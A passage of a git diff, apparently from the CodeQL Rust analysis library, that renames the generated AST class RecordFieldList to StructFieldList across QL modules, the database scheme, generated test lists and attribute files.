9a9073eb52cd401b07beb4eb0aef7a15d5d398d0c76c35416ffcb059a360d654 +test/extractor-tests/generated/StructFieldList/StructFieldList.ql 02635fb8b0bccb4cb8be71a2b103c6854192dd0300669127ce74590566b0b163 62e4151cbc47ec7bd10cb9f711587454d8fcf64fb54f279b82eefcf20028c37f +test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql b70e569d48109f57a1a765fcab2329adce382a17258c4e93a57f540a408b1836 1d6a65b7ac1ed8fd0e966132ec9ecbb425fa7ca501a2cd1db7269f9534415f30 test/extractor-tests/generated/StructPat/StructPat.ql 2fa9b13ad6752a1296908c76caf3778dfd7d31e1ffc581011366208dfc3288a4 5a61ae9056a153b526d07c451a55f3959ce90adf762fe6c31f434fae27086d5d test/extractor-tests/generated/StructPat/StructPat_getPath.ql 03fb1254cc797239de302fbf1ad1b4e7e926e2ec4423221fbec06425e3647f63 9ab60ad1f16d4fb04d3de9f8f05d959fc90c42bb8f0dfc04ccc906897f5c1633 test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql e3188ae0bb8835ad4aed5c775b52afb6cc7f9c520a8f62140d6cc590f2b8ce5d fd3e6eaf185e933e5ab1566cc49ef3497e50608070831879e01cf5a5ec23eae5 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 82583c07ba8..382565f3b86 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -131,7 +131,6 @@ /lib/codeql/rust/elements/PtrTypeRepr.qll linguist-generated /lib/codeql/rust/elements/RangeExpr.qll linguist-generated /lib/codeql/rust/elements/RangePat.qll linguist-generated -/lib/codeql/rust/elements/RecordFieldList.qll linguist-generated /lib/codeql/rust/elements/RefExpr.qll linguist-generated /lib/codeql/rust/elements/RefPat.qll linguist-generated /lib/codeql/rust/elements/RefTypeRepr.qll linguist-generated @@ -153,6 +152,7 @@ /lib/codeql/rust/elements/StructExprField.qll linguist-generated /lib/codeql/rust/elements/StructExprFieldList.qll linguist-generated /lib/codeql/rust/elements/StructField.qll linguist-generated +/lib/codeql/rust/elements/StructFieldList.qll linguist-generated /lib/codeql/rust/elements/StructPat.qll linguist-generated /lib/codeql/rust/elements/StructPatField.qll linguist-generated /lib/codeql/rust/elements/StructPatFieldList.qll linguist-generated @@ -369,8 +369,6 @@ /lib/codeql/rust/elements/internal/RangeExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/RangePatConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/RangePatImpl.qll linguist-generated -/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/RefExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/RefPatConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/RefTypeReprConstructor.qll linguist-generated @@ -402,6 +400,8 @@ /lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/StructFieldConstructor.qll linguist-generated +/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll linguist-generated +/lib/codeql/rust/elements/internal/StructFieldListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/StructPatConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll linguist-generated @@ -597,7 +597,6 @@ /lib/codeql/rust/elements/internal/generated/RangeExpr.qll linguist-generated /lib/codeql/rust/elements/internal/generated/RangePat.qll linguist-generated /lib/codeql/rust/elements/internal/generated/Raw.qll linguist-generated -/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll linguist-generated /lib/codeql/rust/elements/internal/generated/RefExpr.qll linguist-generated /lib/codeql/rust/elements/internal/generated/RefPat.qll linguist-generated /lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll linguist-generated @@ -619,6 +618,7 @@ /lib/codeql/rust/elements/internal/generated/StructExprField.qll linguist-generated /lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll linguist-generated /lib/codeql/rust/elements/internal/generated/StructField.qll linguist-generated +/lib/codeql/rust/elements/internal/generated/StructFieldList.qll linguist-generated /lib/codeql/rust/elements/internal/generated/StructPat.qll linguist-generated /lib/codeql/rust/elements/internal/generated/StructPatField.qll linguist-generated /lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll linguist-generated @@ -1025,8 +1025,6 @@ /test/extractor-tests/generated/RangePat/RangePat_getEnd.ql linguist-generated /test/extractor-tests/generated/RangePat/RangePat_getOperatorName.ql linguist-generated /test/extractor-tests/generated/RangePat/RangePat_getStart.ql linguist-generated -/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql linguist-generated -/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql linguist-generated /test/extractor-tests/generated/RefExpr/RefExpr.ql linguist-generated /test/extractor-tests/generated/RefExpr/RefExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/RefExpr/RefExpr_getExpr.ql linguist-generated @@ -1097,6 +1095,8 @@ /test/extractor-tests/generated/StructField/StructField_getName.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getVisibility.ql linguist-generated +/test/extractor-tests/generated/StructFieldList/StructFieldList.ql linguist-generated +/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql linguist-generated /test/extractor-tests/generated/StructPat/StructPat.ql linguist-generated /test/extractor-tests/generated/StructPat/StructPat_getPath.ql linguist-generated /test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements.qll b/rust/ql/lib/codeql/rust/elements.qll index 62705408baf..21c254b5d67 100644 --- a/rust/ql/lib/codeql/rust/elements.qll +++ b/rust/ql/lib/codeql/rust/elements.qll @@ -134,7 +134,6 @@ import codeql.rust.elements.PrefixExpr import codeql.rust.elements.PtrTypeRepr import codeql.rust.elements.RangeExpr import codeql.rust.elements.RangePat -import codeql.rust.elements.RecordFieldList import codeql.rust.elements.RefExpr import codeql.rust.elements.RefPat import codeql.rust.elements.RefTypeRepr @@ -156,6 +155,7 @@ import codeql.rust.elements.StructExpr import codeql.rust.elements.StructExprField import codeql.rust.elements.StructExprFieldList import codeql.rust.elements.StructField +import codeql.rust.elements.StructFieldList import codeql.rust.elements.StructPat import codeql.rust.elements.StructPatField import codeql.rust.elements.StructPatFieldList diff --git a/rust/ql/lib/codeql/rust/elements/RecordFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll similarity index 57% rename from rust/ql/lib/codeql/rust/elements/RecordFieldList.qll rename to rust/ql/lib/codeql/rust/elements/StructFieldList.qll index 4fcb9190e8f..6eee3bd61a8 100644 --- a/rust/ql/lib/codeql/rust/elements/RecordFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll @@ -1,9 +1,9 @@ // generated by codegen, do not edit /** - * This module provides the public class `RecordFieldList`. + * This module provides the public class `StructFieldList`. */ -private import internal.RecordFieldListImpl +private import internal.StructFieldListImpl import codeql.rust.elements.FieldList import codeql.rust.elements.StructField @@ -13,4 +13,4 @@ import codeql.rust.elements.StructField * todo!() * ``` */ -final class RecordFieldList = Impl::RecordFieldList; +final class StructFieldList = Impl::StructFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index c5fd86be7e9..a9edce9d2fe 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -8,7 +8,7 @@ import codeql.rust.elements.Attr import codeql.rust.elements.GenericParamList import codeql.rust.elements.Item import codeql.rust.elements.Name -import codeql.rust.elements.RecordFieldList +import codeql.rust.elements.StructFieldList import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll similarity index 64% rename from rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll rename to rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll index 184df0deb03..25f426f65ce 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll @@ -1,14 +1,14 @@ // generated by codegen, remove this comment if you wish to edit this file /** * This module defines the hook used internally to tweak the characteristic predicate of - * `RecordFieldList` synthesized instances. + * `StructFieldList` synthesized instances. * INTERNAL: Do not use. */ private import codeql.rust.elements.internal.generated.Raw /** - * The characteristic predicate of `RecordFieldList` synthesized instances. + * The characteristic predicate of `StructFieldList` synthesized instances. * INTERNAL: Do not use. */ -predicate constructRecordFieldList(Raw::RecordFieldList id) { any() } +predicate constructStructFieldList(Raw::StructFieldList id) { any() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll similarity index 67% rename from rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll rename to rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll index 9d690d260ac..8626d38e058 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll @@ -1,14 +1,14 @@ // generated by codegen, remove this comment if you wish to edit this file /** - * This module provides a hand-modifiable wrapper around the generated class `RecordFieldList`. + * This module provides a hand-modifiable wrapper around the generated class `StructFieldList`. * * INTERNAL: Do not use. */ -private import codeql.rust.elements.internal.generated.RecordFieldList +private import codeql.rust.elements.internal.generated.StructFieldList /** - * INTERNAL: This module contains the customizable definition of `RecordFieldList` and should not + * INTERNAL: This module contains the customizable definition of `StructFieldList` and should not * be referenced directly. */ module Impl { @@ -18,5 +18,5 @@ module Impl { * todo!() * ``` */ - class RecordFieldList extends Generated::RecordFieldList { } + class StructFieldList extends Generated::StructFieldList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index 2103e7ee9a5..4268ef3f840 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -2737,25 +2737,6 @@ private module Impl { ) } - private Element getImmediateChildOfRecordFieldList( - RecordFieldList e, int index, string partialPredicateCall - ) { - exists(int b, int bFieldList, int n, int nField | - b = 0 and - bFieldList = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfFieldList(e, i, _)) | i) and - n = bFieldList and - nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and - ( - none() - or - result = getImmediateChildOfFieldList(e, index - b, partialPredicateCall) - or - result = e.getField(index - n) and - partialPredicateCall = "Field(" + (index - n).toString() + ")" - ) - ) - } - private Element getImmediateChildOfRefExpr(RefExpr e, int index, string partialPredicateCall) { exists(int b, int bExpr, int n, int nAttr, int nExpr | b = 0 and @@ -2904,6 +2885,25 @@ private module Impl { ) } + private Element getImmediateChildOfStructFieldList( + StructFieldList e, int index, string partialPredicateCall + ) { + exists(int b, int bFieldList, int n, int nField | + b = 0 and + bFieldList = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfFieldList(e, i, _)) | i) and + n = bFieldList and + nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and + ( + none() + or + result = getImmediateChildOfFieldList(e, index - b, partialPredicateCall) + or + result = e.getField(index - n) and + partialPredicateCall = "Field(" + (index - n).toString() + ")" + ) + ) + } + private Element getImmediateChildOfTryExpr(TryExpr e, int index, string partialPredicateCall) { exists(int b, int bExpr, int n, int nAttr, int nExpr | b = 0 and @@ -4334,8 +4334,6 @@ private module Impl { or result = getImmediateChildOfRangePat(e, index, partialAccessor) or - result = getImmediateChildOfRecordFieldList(e, index, partialAccessor) - or result = getImmediateChildOfRefExpr(e, index, partialAccessor) or result = getImmediateChildOfRefPat(e, index, partialAccessor) @@ -4352,6 +4350,8 @@ private module Impl { or result = getImmediateChildOfSliceTypeRepr(e, index, partialAccessor) or + result = getImmediateChildOfStructFieldList(e, index, partialAccessor) + or result = getImmediateChildOfTryExpr(e, index, partialAccessor) or result = getImmediateChildOfTupleExpr(e, index, partialAccessor) diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 891a2228936..34d29ba230e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -2743,22 +2743,6 @@ module Raw { Pat getStart() { range_pat_starts(this, result) } } - /** - * INTERNAL: Do not use. - * A field list of a struct expression. For example: - * ```rust - * todo!() - * ``` - */ - class RecordFieldList extends @record_field_list, FieldList { - override string toString() { result = "RecordFieldList" } - - /** - * Gets the `index`th field of this record field list (0-based). - */ - StructField getField(int index) { record_field_list_fields(this, index, result) } - } - /** * INTERNAL: Do not use. * A reference expression. For example: @@ -2966,6 +2950,22 @@ module Raw { TypeRepr getTypeRepr() { slice_type_repr_type_reprs(this, result) } } + /** + * INTERNAL: Do not use. + * A field list of a struct expression. For example: + * ```rust + * todo!() + * ``` + */ + class StructFieldList extends @struct_field_list, FieldList { + override string toString() { result = "StructFieldList" } + + /** + * Gets the `index`th field of this struct field list (0-based). + */ + StructField getField(int index) { struct_field_list_fields(this, index, result) } + } + /** * INTERNAL: Do not use. * A TryExpr. For example: @@ -3854,7 +3854,7 @@ module Raw { /** * Gets the field list of this struct, if it exists. */ - FieldList getFieldList() { struct_field_lists(this, result) } + FieldList getFieldList() { struct_field_lists_(this, result) } /** * Gets the generic parameter list of this struct, if it exists. @@ -4124,7 +4124,7 @@ module Raw { /** * Gets the struct field list of this union, if it exists. */ - RecordFieldList getStructFieldList() { union_struct_field_lists(this, result) } + StructFieldList getStructFieldList() { union_struct_field_lists(this, result) } /** * Gets the visibility of this union, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll similarity index 59% rename from rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll rename to rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll index f625171ea02..aabd886f6b7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll @@ -1,6 +1,6 @@ // generated by codegen, do not edit /** - * This module provides the generated definition of `RecordFieldList`. + * This module provides the generated definition of `StructFieldList`. * INTERNAL: Do not import directly. */ @@ -10,7 +10,7 @@ import codeql.rust.elements.internal.FieldListImpl::Impl as FieldListImpl import codeql.rust.elements.StructField /** - * INTERNAL: This module contains the fully generated definition of `RecordFieldList` and should not + * INTERNAL: This module contains the fully generated definition of `StructFieldList` and should not * be referenced directly. */ module Generated { @@ -19,29 +19,29 @@ module Generated { * ```rust * todo!() * ``` - * INTERNAL: Do not reference the `Generated::RecordFieldList` class directly. - * Use the subclass `RecordFieldList`, where the following predicates are available. + * INTERNAL: Do not reference the `Generated::StructFieldList` class directly. + * Use the subclass `StructFieldList`, where the following predicates are available. */ - class RecordFieldList extends Synth::TRecordFieldList, FieldListImpl::FieldList { - override string getAPrimaryQlClass() { result = "RecordFieldList" } + class StructFieldList extends Synth::TStructFieldList, FieldListImpl::FieldList { + override string getAPrimaryQlClass() { result = "StructFieldList" } /** - * Gets the `index`th field of this record field list (0-based). + * Gets the `index`th field of this struct field list (0-based). */ StructField getField(int index) { result = - Synth::convertStructFieldFromRaw(Synth::convertRecordFieldListToRaw(this) - .(Raw::RecordFieldList) + Synth::convertStructFieldFromRaw(Synth::convertStructFieldListToRaw(this) + .(Raw::StructFieldList) .getField(index)) } /** - * Gets any of the fields of this record field list. + * Gets any of the fields of this struct field list. */ final StructField getAField() { result = this.getField(_) } /** - * Gets the number of fields of this record field list. + * Gets the number of fields of this struct field list. */ final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll index d6430eff305..6d7c69fde13 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll @@ -466,10 +466,6 @@ module Synth { * INTERNAL: Do not use. */ TRangePat(Raw::RangePat id) { constructRangePat(id) } or - /** - * INTERNAL: Do not use. - */ - TRecordFieldList(Raw::RecordFieldList id) { constructRecordFieldList(id) } or /** * INTERNAL: Do not use. */ @@ -546,6 +542,10 @@ module Synth { * INTERNAL: Do not use. */ TStructField(Raw::StructField id) { constructStructField(id) } or + /** + * INTERNAL: Do not use. + */ + TStructFieldList(Raw::StructFieldList id) { constructStructFieldList(id) } or /** * INTERNAL: Do not use. */ @@ -754,7 +754,7 @@ module Synth { /** * INTERNAL: Do not use. */ - class TFieldList = TRecordFieldList or TTupleFieldList; + class TFieldList = TStructFieldList or TTupleFieldList; /** * INTERNAL: Do not use. @@ -1524,12 +1524,6 @@ module Synth { */ TRangePat convertRangePatFromRaw(Raw::Element e) { result = TRangePat(e) } - /** - * INTERNAL: Do not use. - * Converts a raw element to a synthesized `TRecordFieldList`, if possible. - */ - TRecordFieldList convertRecordFieldListFromRaw(Raw::Element e) { result = TRecordFieldList(e) } - /** * INTERNAL: Do not use. * Converts a raw element to a synthesized `TRefExpr`, if possible. @@ -1646,6 +1640,12 @@ module Synth { */ TStructField convertStructFieldFromRaw(Raw::Element e) { result = TStructField(e) } + /** + * INTERNAL: Do not use. + * Converts a raw element to a synthesized `TStructFieldList`, if possible. + */ + TStructFieldList convertStructFieldListFromRaw(Raw::Element e) { result = TStructFieldList(e) } + /** * INTERNAL: Do not use. * Converts a raw element to a synthesized `TStructPat`, if possible. @@ -2177,7 +2177,7 @@ module Synth { * Converts a raw DB element to a synthesized `TFieldList`, if possible. */ TFieldList convertFieldListFromRaw(Raw::Element e) { - result = convertRecordFieldListFromRaw(e) + result = convertStructFieldListFromRaw(e) or result = convertTupleFieldListFromRaw(e) } @@ -3124,12 +3124,6 @@ module Synth { */ Raw::Element convertRangePatToRaw(TRangePat e) { e = TRangePat(result) } - /** - * INTERNAL: Do not use. - * Converts a synthesized `TRecordFieldList` to a raw DB element, if possible. - */ - Raw::Element convertRecordFieldListToRaw(TRecordFieldList e) { e = TRecordFieldList(result) } - /** * INTERNAL: Do not use. * Converts a synthesized `TRefExpr` to a raw DB element, if possible. @@ -3246,6 +3240,12 @@ module Synth { */ Raw::Element convertStructFieldToRaw(TStructField e) { e = TStructField(result) } + /** + * INTERNAL: Do not use. + * Converts a synthesized `TStructFieldList` to a raw DB element, if possible. + */ + Raw::Element convertStructFieldListToRaw(TStructFieldList e) { e = TStructFieldList(result) } + /** * INTERNAL: Do not use. * Converts a synthesized `TStructPat` to a raw DB element, if possible. @@ -3777,7 +3777,7 @@ module Synth { * Converts a synthesized `TFieldList` to a raw DB element, if possible. */ Raw::Element convertFieldListToRaw(TFieldList e) { - result = convertRecordFieldListToRaw(e) + result = convertStructFieldListToRaw(e) or result = convertTupleFieldListToRaw(e) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll index 226ee7aa76d..9be635b767e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll @@ -114,7 +114,6 @@ import codeql.rust.elements.internal.PrefixExprConstructor import codeql.rust.elements.internal.PtrTypeReprConstructor import codeql.rust.elements.internal.RangeExprConstructor import codeql.rust.elements.internal.RangePatConstructor -import codeql.rust.elements.internal.RecordFieldListConstructor import codeql.rust.elements.internal.RefExprConstructor import codeql.rust.elements.internal.RefPatConstructor import codeql.rust.elements.internal.RefTypeReprConstructor @@ -134,6 +133,7 @@ import codeql.rust.elements.internal.StructExprConstructor import codeql.rust.elements.internal.StructExprFieldConstructor import codeql.rust.elements.internal.StructExprFieldListConstructor import codeql.rust.elements.internal.StructFieldConstructor +import codeql.rust.elements.internal.StructFieldListConstructor import codeql.rust.elements.internal.StructPatConstructor import codeql.rust.elements.internal.StructPatFieldConstructor import codeql.rust.elements.internal.StructPatFieldListConstructor diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index a6d2fcc92f9..3959835cde0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Attr import codeql.rust.elements.GenericParamList import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl import codeql.rust.elements.Name -import codeql.rust.elements.RecordFieldList +import codeql.rust.elements.StructFieldList import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause @@ -78,9 +78,9 @@ module Generated { /** * Gets the struct field list of this union, if it exists. */ - RecordFieldList getStructFieldList() { + StructFieldList getStructFieldList() { result = - Synth::convertRecordFieldListFromRaw(Synth::convertUnionToRaw(this) + Synth::convertStructFieldListFromRaw(Synth::convertUnionToRaw(this) .(Raw::Union) .getStructFieldList()) } diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index 328c4b3865c..256e80c2dce 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -481,7 +481,7 @@ extern_item_list_extern_items( ); @field_list = - @record_field_list + @struct_field_list | @tuple_field_list ; @@ -2364,17 +2364,6 @@ range_pat_starts( int start: @pat ref ); -record_field_lists( - unique int id: @record_field_list -); - -#keyset[id, index] -record_field_list_fields( - int id: @record_field_list ref, - int index: int ref, - int field: @struct_field ref -); - ref_exprs( unique int id: @ref_expr ); @@ -2518,6 +2507,17 @@ slice_type_repr_type_reprs( int type_repr: @type_repr ref ); +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + try_exprs( unique int id: @try_expr ); @@ -3275,7 +3275,7 @@ struct_attrs( ); #keyset[id] -struct_field_lists( +struct_field_lists_( int id: @struct ref, int field_list: @field_list ref ); @@ -3511,7 +3511,7 @@ union_names( #keyset[id] union_struct_field_lists( int id: @union ref, - int struct_field_list: @record_field_list ref + int struct_field_list: @struct_field_list ref ); #keyset[id] diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 094b0a5c514..56cb7ed62e1 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -89,7 +89,6 @@ PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d740 PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 -RecordFieldList/gen_record_field_list.rs f28f14c3d8ff7ae7b5f0bac076165cc7e98a2fdc5377c2a32a0e2e231a6173d9 f28f14c3d8ff7ae7b5f0bac076165cc7e98a2fdc5377c2a32a0e2e231a6173d9 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea @@ -109,6 +108,7 @@ StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b2 StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 +StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes index fc79fcbcee7..133c01c05cd 100644 --- a/rust/ql/test/extractor-tests/generated/.gitattributes +++ b/rust/ql/test/extractor-tests/generated/.gitattributes @@ -91,7 +91,6 @@ /PtrTypeRepr/gen_ptr_type_repr.rs linguist-generated /RangeExpr/gen_range_expr.rs linguist-generated /RangePat/gen_range_pat.rs linguist-generated -/RecordFieldList/gen_record_field_list.rs linguist-generated /RefExpr/gen_ref_expr.rs linguist-generated /RefPat/gen_ref_pat.rs linguist-generated /RefTypeRepr/gen_ref_type_repr.rs linguist-generated @@ -111,6 +110,7 @@ /StructExprField/gen_struct_expr_field.rs linguist-generated /StructExprFieldList/gen_struct_expr_field_list.rs linguist-generated /StructField/gen_struct_field.rs linguist-generated +/StructFieldList/gen_struct_field_list.rs linguist-generated /StructPat/gen_struct_pat.rs linguist-generated /StructPatField/gen_struct_pat_field.rs linguist-generated /StructPatFieldList/gen_struct_pat_field_list.rs linguist-generated diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected b/rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected deleted file mode 100644 index 54cad7249d6..00000000000 --- a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected +++ /dev/null @@ -1,25 +0,0 @@ -| gen_path.rs:5:9:5:18 | some_crate | gen_path.rs:5:9:5:18 | some_crate | -| gen_path.rs:5:9:5:31 | ...::some_module | gen_path.rs:5:21:5:31 | some_module | -| gen_path.rs:5:9:5:42 | ...::some_item | gen_path.rs:5:34:5:42 | some_item | -| gen_path.rs:6:5:6:7 | foo | gen_path.rs:6:5:6:7 | foo | -| gen_path.rs:6:5:6:12 | ...::bar | gen_path.rs:6:10:6:12 | bar | -| gen_path_expr.rs:5:13:5:20 | variable | gen_path_expr.rs:5:13:5:20 | variable | -| gen_path_expr.rs:6:13:6:15 | foo | gen_path_expr.rs:6:13:6:15 | foo | -| gen_path_expr.rs:6:13:6:20 | ...::bar | gen_path_expr.rs:6:18:6:20 | bar | -| gen_path_expr.rs:7:13:7:15 | <...> | gen_path_expr.rs:7:13:7:15 | <...> | -| gen_path_expr.rs:7:13:7:20 | ...::foo | gen_path_expr.rs:7:18:7:20 | foo | -| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | -| gen_path_expr.rs:8:13:8:31 | <...> | gen_path_expr.rs:8:13:8:31 | <...> | -| gen_path_expr.rs:8:13:8:36 | ...::foo | gen_path_expr.rs:8:34:8:36 | foo | -| gen_path_expr.rs:8:14:8:21 | TypeRepr | gen_path_expr.rs:8:14:8:21 | TypeRepr | -| gen_path_expr.rs:8:26:8:30 | Trait | gen_path_expr.rs:8:26:8:30 | Trait | -| gen_path_pat.rs:5:11:5:11 | x | gen_path_pat.rs:5:11:5:11 | x | -| gen_path_pat.rs:6:9:6:11 | Foo | gen_path_pat.rs:6:9:6:11 | Foo | -| gen_path_pat.rs:6:9:6:16 | ...::Bar | gen_path_pat.rs:6:14:6:16 | Bar | -| 